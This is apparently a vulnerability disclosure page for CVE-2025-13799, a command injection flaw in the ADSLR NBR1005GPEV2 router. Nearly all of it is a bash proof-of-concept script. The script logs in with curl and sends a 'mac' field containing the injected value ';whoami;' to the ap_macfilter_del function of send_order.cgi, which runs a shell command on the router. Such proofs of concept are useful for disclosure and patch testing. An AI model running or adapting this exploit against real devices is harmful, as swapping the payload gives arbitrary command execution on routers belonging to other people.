CVE-2025-13799 ADSLR NBR1005GPEV2路由器send_order.cgi命令注入漏洞

#!/bin/bash # CVE-2025-13799 PoC - ADSLR NBR1005GPEV2 Command Injection # Target: /send_order.cgi - ap_macfilter_del function TARGET="http://target-ip/cgi-bin/send_order.cgi" USERNAME="user" PASSWORD="password" # Login and get session cookie COOKIES=$(curl -s -c - -d "username=$USERNAME&password=$PASSWORD" "$TARGET" | grep -i session | awk '{print $NF}') # Command injection payload - injects whoami command via mac parameter PAYLOAD=";whoami;" # Send malicious request curl -s -b "SESSION=$COOKIES" \ -d "func=ap_macfilter_del&mac=$PAYLOAD" \ "$TARGET" echo "[*] Command executed, check response for output"